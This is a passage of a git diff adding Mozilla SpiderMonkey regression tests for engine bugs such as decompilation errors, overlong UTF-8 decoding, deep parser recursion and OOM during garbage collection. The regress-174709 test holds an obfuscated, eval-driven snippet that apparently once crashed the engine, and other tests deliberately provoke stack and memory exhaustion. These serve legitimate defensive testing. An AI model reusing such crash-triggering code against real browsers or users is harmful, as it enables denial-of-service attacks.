+sFunc += ' print("i++ failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' --f.i;';
+sFunc += ' print("--i succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("--i failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '';
+sFunc += ' try';
+sFunc += ' {';
+sFunc += ' f.i--;';
+sFunc += ' print("i-- succeeded \t\ti = " + f.i);';
+sFunc += ' }';
+sFunc += ' catch(e)';
+sFunc += ' {';
+sFunc += ' print("i-- failed with " + e + "\ti = " + f.i);';
+sFunc += ' }';
+sFunc += '}';
+
+
+/*
+ * Use sFunc to define the function F. The test
+ * then rests on comparing F.toString() to sFunc.
+ */
+eval(sFunc);
+
+
+/*
+ * There are trivial whitespace differences between F.toString()
+ * and sFunc. So strip out whitespace before comparing them -
+ */
+sFunc = stripWhite(sFunc);
+FtoString = stripWhite(F.toString());
+
+
+/*
+ * Break comparison into sections to make any failures
+ * easier for the developer to track down -
+ */
+status = inSection(1);
+actual = FtoString.substring(0,100);
+expect = sFunc.substring(0,100);
+addThis();
+
+status = inSection(2);
+actual = FtoString.substring(100,200);
+expect = sFunc.substring(100,200);
+addThis();
+
+status = inSection(3);
+actual = FtoString.substring(200,300);
+expect = sFunc.substring(200,300);
+addThis();
+
+status = inSection(4);
+actual = FtoString.substring(300,400);
+expect = sFunc.substring(300,400);
+addThis();
+
+status = inSection(5);
+actual = FtoString.substring(400,500);
+expect = sFunc.substring(400,500);
+addThis();
+
+status = inSection(6);
+actual = FtoString.substring(500,600);
+expect = sFunc.substring(500,600);
+addThis();
+
+status = inSection(7);
+actual = FtoString.substring(600,700);
+expect = sFunc.substring(600,700);
+addThis();
+
+status = inSection(8);
+actual = FtoString.substring(700,800);
+expect = sFunc.substring(700,800);
+addThis();
+
+status = inSection(9);
+actual = FtoString.substring(800,900);
+expect = sFunc.substring(800,900);
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+/*
+ * Remove any whitespace characters; also
+ * any escaped tabs or escaped newlines.
+ */
+function stripWhite(str)
+{
+ var re = /\s|\\t|\\n/g;
+ return str.replace(re, '');
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-170193.js b/js/src/tests/non262/regress/regress-170193.js
new file mode 100644
index 0000000000..0cd2382ed4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-170193.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Sep 2002
+ * SUMMARY: adding prop after middle-delete of function w duplicate formal args
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=170193
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 170193;
+var summary = 'adding property after middle-delete of function w duplicate formal args';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * This sequence of steps used to cause the SpiderMonkey shell to hang -
+ */
+function f(a,a,b){}
+f.c=42;
+f.d=43;
+delete f.c; // "middle delete"
+f.e=44;
+
+status = inSection(1);
+actual = f.c;
+expect = undefined;
+addThis();
+
+status = inSection(2);
+actual = f.d;
+expect = 43;
+addThis();
+
+status = inSection(3);
+actual = f.e;
+expect = 44;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1714532-oom-gc-yield.js b/js/src/tests/non262/regress/regress-1714532-oom-gc-yield.js
new file mode 100644
index 0000000000..be03cba392
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1714532-oom-gc-yield.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+
+oomTest(function() {
+ grayRoot();
+ gczeal(8);
+ gcslice(this);
+});
+
+this.reportCompare && reportCompare(true, true, 'An OOM while gray buffering should not leave the GC half-done');
diff --git a/js/src/tests/non262/regress/regress-172699.js b/js/src/tests/non262/regress/regress-172699.js
new file mode 100644
index 0000000000..3af7884b48
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-172699.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 Oct 2002
+ * SUMMARY: UTF-8 decoder should not accept overlong sequences
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=172699
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 172699;
+var summary = 'UTF-8 decoder should not accept overlong sequences';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = "URIError thrown";
+try
+{
+ decodeURI("%C0%AF");
+ actual = "no error thrown";
+}
+catch (e)
+{
+ if (e instanceof URIError)
+ actual = "URIError thrown";
+ else if (e instanceof Error)
+ actual = "wrong error thrown: " + e.name;
+ else
+ actual = "non-error thrown: " + e;
+}
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-174709.js b/js/src/tests/non262/regress/regress-174709.js
new file mode 100644
index 0000000000..8b839a912f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-174709.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 174709;
+var summary = 'Don\'t Crash';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/* code removed until replacement can be created. */
+
+/* crash and burn */
+
+var G2z=["ev","sta","fro","cha","le",[""]];
+var qS0=[];
+qS0.push("G"+2);
+qS0.push("z");
+var kJ6=this[qS0.join("")];
+kJ6[0]+="a";
+kJ6[1]+="rtX";
+kJ6[2]+="mCha";
+kJ6[3]+="rCo";
+kJ6[4]+="ngt";
+function heW(){}
+heW.prototype={};
+var b2V=new Array();
+b2V.push("k");
+b2V.push("J");
+b2V.push(6);
+var Co4=this[b2V.join("")];
+Co4[0]+="l";
+Co4[1]+="opu";
+Co4[2]+="rCo";
+Co4[3]+="deA";
+Co4[4]+="h";
+
+var Ke1=[];
+Ke1.push("C");
+Ke1.push("o");
+Ke1.push(4);
+var Qp3=this[Ke1.join("")];
+Qp3[1]+="s";
+Qp3[2]+="de";
+Qp3[3]+="t";
+
+var kh1=Qp3[5][Qp3[4]];
+
+var l8q=[];
+l8q.push("g".toUpperCase());
+l8q.push(2);
+l8q.push("z");
+/* var e2k=window[l8q.join("")];*/
+var e2k=eval(l8q.join(""));
+for (Qp3[5][kh1] in this)
+ for (Qp3[5][kh1+1] in this)
+ if (Qp3[5][kh1] > Qp3[5][kh1+1] &&
+ Qp3[5][kh1][e2k[4]] == Qp3[5][kh1+1][e2k[4]] &&
+ Qp3[5][kh1].substr(kh1,kh1+1) == Qp3[5][kh1+1].substr(kh1,kh1+1))
+ Qp3[5][kh1 + 2] = Qp3[5][kh1];
+
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-176125.js b/js/src/tests/non262/regress/regress-176125.js
new file mode 100644
index 0000000000..8334b2b792
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-176125.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 176125;
+var summary = 'if() should not return a value';
+var actual = '';
+var expect = 'undefined';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ printStatus('if (test1());');
+ actual = typeof eval('if (test1());');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': if (test1());');
+
+try
+{
+ printStatus('if (test2());');
+ actual = typeof eval('if (test2());');
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+
+reportCompare(expect, actual, summary + ': if (test2());');
+
+
+function test1()
+{
+ 'Hi there!';
+}
+
+function test2()
+{
+ test1();
+ return false;
+}
diff --git a/js/src/tests/non262/regress/regress-179524.js b/js/src/tests/non262/regress/regress-179524.js
new file mode 100644
index 0000000000..436bdfc43a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-179524.js
@@ -0,0 +1,292 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 Nov 2002
+ * SUMMARY: JS shouldn't crash on extraneous args to str.match(), etc.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=179524
+ *
+ * Note that when testing str.replace(), we have to be careful if the first
+ * argument provided to str.replace() is not a regexp object. ECMA-262 says
+ * it is NOT converted to one, unlike the case for str.match(), str.search().
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83293#c21. This means
+ * we have to be careful how we test meta-characters in the first argument
+ * to str.replace(), if that argument is a string -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 179524;
+var summary = "Don't crash on extraneous arguments to str.match(), etc.";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+str = 'ABC abc';
+var re = /z/ig;
+
+status = inSection(1);
+actual = str.match(re);
+expect = null;
+addThis();
+
+status = inSection(2);
+actual = str.match(re, 'i');
+expect = null;
+addThis();
+
+status = inSection(3);
+actual = str.match(re, 'g', '');
+expect = null;
+addThis();
+
+status = inSection(4);
+actual = str.match(re, 'z', new Object(), new Date());
+expect = null;
+addThis();
+
+
+/*
+ * Now try the same thing with str.search()
+ */
+status = inSection(5);
+actual = str.search(re);
+expect = -1;
+addThis();
+
+status = inSection(6);
+actual = str.search(re, 'i');
+expect = -1;
+addThis();
+
+status = inSection(7);
+actual = str.search(re, 'g', '');
+expect = -1;
+addThis();
+
+status = inSection(8);
+actual = str.search(re, 'z', new Object(), new Date());
+expect = -1;
+addThis();
+
+
+/*
+ * Now try the same thing with str.replace()
+ */
+status = inSection(9);
+actual = str.replace(re, 'Z');
+expect = str;
+addThis();
+
+status = inSection(10);
+actual = str.replace(re, 'Z', 'i');
+expect = str;
+addThis();
+
+status = inSection(11);
+actual = str.replace(re, 'Z', 'g', '');
+expect = str;
+addThis();
+
+status = inSection(12);
+actual = str.replace(re, 'Z', 'z', new Object(), new Date());
+expect = str;
+addThis();
+
+
+
+/*
+ * Now test the case where str.match()'s first argument is not a regexp object.
+ * In that case, JS follows ECMA-262 Ed.3 by converting the 1st argument to a
+ * regexp object using the argument as a regexp pattern, but then extends ECMA
+ * by taking any optional 2nd argument to be a regexp flag string (e.g.'ig').
+ *
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c10
+ */
+status = inSection(13);
+actual = str.match('a').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(14);
+actual = str.match('a', 'i').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(15);
+actual = str.match('a', 'ig').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(16);
+actual = str.match('\\s', 'm').toString();
+expect = str.match(/\s/).toString();
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(17);
+actual = str.match('a', 'i', 'g').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(18);
+actual = str.match('a', 'ig', new Object()).toString();
+expect = str.match(/a/).toString();
+addThis();
+
+status = inSection(19);
+actual = str.match('\\s', 'm', 999).toString();
+expect = str.match(/\s/).toString();
+addThis();
+
+status = inSection(20);
+actual = str.match('a', 'z').toString();
+expect = str.match(/a/).toString();
+addThis();
+
+
+
+/*
+ * Now test str.search() where the first argument is not a regexp object.
+ * The same considerations as above apply -
+ *
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c16
+ */
+status = inSection(21);
+actual = str.search('a');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(22);
+actual = str.search('a', 'i');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(23);
+actual = str.search('a', 'ig');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(24);
+actual = str.search('\\s', 'm');
+expect = str.search(/\s/);
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(25);
+actual = str.search('a', 'i', 'g');
+expect = str.search(/a/);
+addThis();
+
+status = inSection(26);
+actual = str.search('a', 'ig', new Object());
+expect = str.search(/a/);
+addThis();
+
+status = inSection(27);
+actual = str.search('\\s', 'm', 999);
+expect = str.search(/\s/);
+addThis();
+
+status = inSection(28);
+actual = str.search('a', 'z');
+expect = str.search(/a/);
+addThis();
+
+
+
+/*
+ * Now test str.replace() where the first argument is not a regexp object.
+ * The same considerations as above apply, EXCEPT for meta-characters.
+ * See introduction to testcase above. References:
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=179524#c16
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=83293#c21
+ */
+status = inSection(29);
+actual = str.replace('a', 'Z');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(30);
+actual = str.replace('a', 'Z', 'i');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(31);
+actual = str.replace('a', 'Z', 'ig');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(32);
+actual = str.replace('\\s', 'Z', 'm'); //<--- NO!!! No meta-characters 1st arg!
+actual = str.replace(' ', 'Z', 'm'); //<--- Have to do this instead
+expect = str.replace(/\s/, 'Z');
+addThis();
+
+
+/*
+ * Now try the previous three cases with extraneous parameters
+ */
+status = inSection(33);
+actual = str.replace('a', 'Z', 'i', 'g');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(34);
+actual = str.replace('a', 'Z', 'ig', new Object());
+expect = str.replace(/a/, 'Z');
+addThis();
+
+status = inSection(35);
+actual = str.replace('\\s', 'Z', 'm', 999); //<--- NO meta-characters 1st arg!
+actual = str.replace(' ', 'Z', 'm', 999); //<--- Have to do this instead
+expect = str.replace(/\s/, 'Z');
+addThis();
+
+status = inSection(36);
+actual = str.replace('a', 'Z', 'z');
+expect = str.replace(/a/, 'Z');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-185165.js b/js/src/tests/non262/regress/regress-185165.js
new file mode 100644
index 0000000000..652910948a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-185165.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Dec 2002
+ * SUMMARY: Decompilation of "\\" should give "\\"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185165
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 185165;
+var summary = 'Decompilation of "\\\\" should give "\\\\"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// Check that second decompilation of script gives the same string as first one
+var f1 = function() { return "\\"; }
+ var s1 = f1.toString();
+
+var f2;
+eval("f2=" + s1);
+var s2 = f2.toString();
+
+status = inSection(1);
+actual = s2;
+expect = s1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-191633.js b/js/src/tests/non262/regress/regress-191633.js
new file mode 100644
index 0000000000..d6070f83a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-191633.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 February 2003
+ * SUMMARY: Testing script with huge number of comments
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191633
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191633;
+var summary = 'Testing script with huge number of comments';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = false; // initialize to failure
+var s = repeat_str("//\n", 40000); // Build a string of 40000 lines of comments
+eval(s + "actual = true;");
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(repeat_count);
+
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-191668.js b/js/src/tests/non262/regress/regress-191668.js
new file mode 100644
index 0000000000..c25c06206e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-191668.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 03 February 2003
+ * SUMMARY: Testing script containing <!- at internal buffer boundary.
+ * JS parser must look for HTML comment-opener <!--, but mustn't disallow <!-
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191668
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191668;
+var summary = 'Testing script containing <!- at internal buffer boundary';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var N = 512;
+var j = 0;
+var str = 'if (0<!-0) ++j;';
+
+for (var i=0; i!=N; ++i)
+{
+ eval(str);
+ str = ' ' + str;
+}
+
+status = inSection(1);
+actual = j;
+expect = N;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-192414.js b/js/src/tests/non262/regress/regress-192414.js
new file mode 100644
index 0000000000..e6843269cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-192414.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 08 February 2003
+ * SUMMARY: Parser recursion should check stack overflow
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192414
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192414;
+var summary = 'Parser recursion should check stack overflow';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * We will form an eval string to set the result-variable |actual|.
+ * To get a feel for this, suppose N were 3. Then the eval string is
+ * 'actual = (1&(1&(1&1)));' The expected value after eval() is 1.
+ */
+status = inSection(1);
+var N = 10000;
+var left = repeat_str('(1&', N);
+var right = repeat_str(')', N);
+var str = 'actual = '.concat(left, '1', right, ';');
+try
+{
+ eval(str);
+}
+catch (e)
+{
+ /*
+ * An exception during this eval is OK, as the runtime can throw one
+ * in response to too deep recursion. We haven't crashed; good!
+ */
+ actual = 1;
+}
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function repeat_str(str, repeat_count)
+{
+ var arr = new Array(--repeat_count);
+ while (repeat_count != 0)
+ arr[--repeat_count] = str;
+ return str.concat.apply(str, arr);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-193418.js b/js/src/tests/non262/regress/regress-193418.js
new file mode 100644
index 0000000000..ffa544a2e7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-193418.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 17 February 2003
+ * SUMMARY: Testing empty blocks
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=193418
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 193418;
+var summary = 'Testing empty blocks';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ while (0)
+ {
+ { }
+ }
+ actual = true;
+}
+
+
+status = inSection(1);
+f(); // sets |actual|
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-203278-1.js b/js/src/tests/non262/regress/regress-203278-1.js
new file mode 100644
index 0000000000..0c0d317eec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-203278-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 203278;
+var summary = 'Don\'t crash in recursive js_MarkGCThing';
+var actual = 'FAIL';
+var expect = 'PASS';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function test1() {}
+function test() { test1.call(this); }
+test.prototype = new test1();
+
+var length = 512 * 1024 - 1;
+var obj = new test();
+var first = obj;
+for(var i = 0 ; i < length ; i++) {
+ obj.next = new test();
+ obj = obj.next;
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-203402.js b/js/src/tests/non262/regress/regress-203402.js
new file mode 100644
index 0000000000..1ad73a5cfa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-203402.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 28 April 2003
+ * SUMMARY: Testing the ternary query operator
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=203402
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 203402;
+var summary = 'Testing the ternary query operator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// This used to crash the Rhino optimized shell -
+status = inSection(1);
+actual = "" + (1==0) ? "" : "";
+expect = "";
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-203841.js b/js/src/tests/non262/regress/regress-203841.js
new file mode 100644
index 0000000000..022bf537fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-203841.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 April 2003
+ * SUMMARY: Testing merged if-clauses
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=203841
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 203841;
+var summary = 'Testing merged if-clauses';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+var a = 0;
+var b = 0;
+var c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(2);
+a = 5;
+b = 0;
+c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+status = inSection(3);
+a = 5;
+b = 6;
+c = 0;
+if (a == 5, b == 6) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+/*
+ * Now get tricky and use the = operator inside the if-clause
+ */
+status = inSection(4);
+a = 0;
+b = 6;
+c = 0;
+if (a = 5, b == 6) { c = 1; }
+actual = c;
+expect = 1;
+addThis();
+
+status = inSection(5);
+c = 0;
+if (1, 1 == 6) { c = 1; }
+actual = c;
+expect = 0;
+addThis();
+
+
+/*
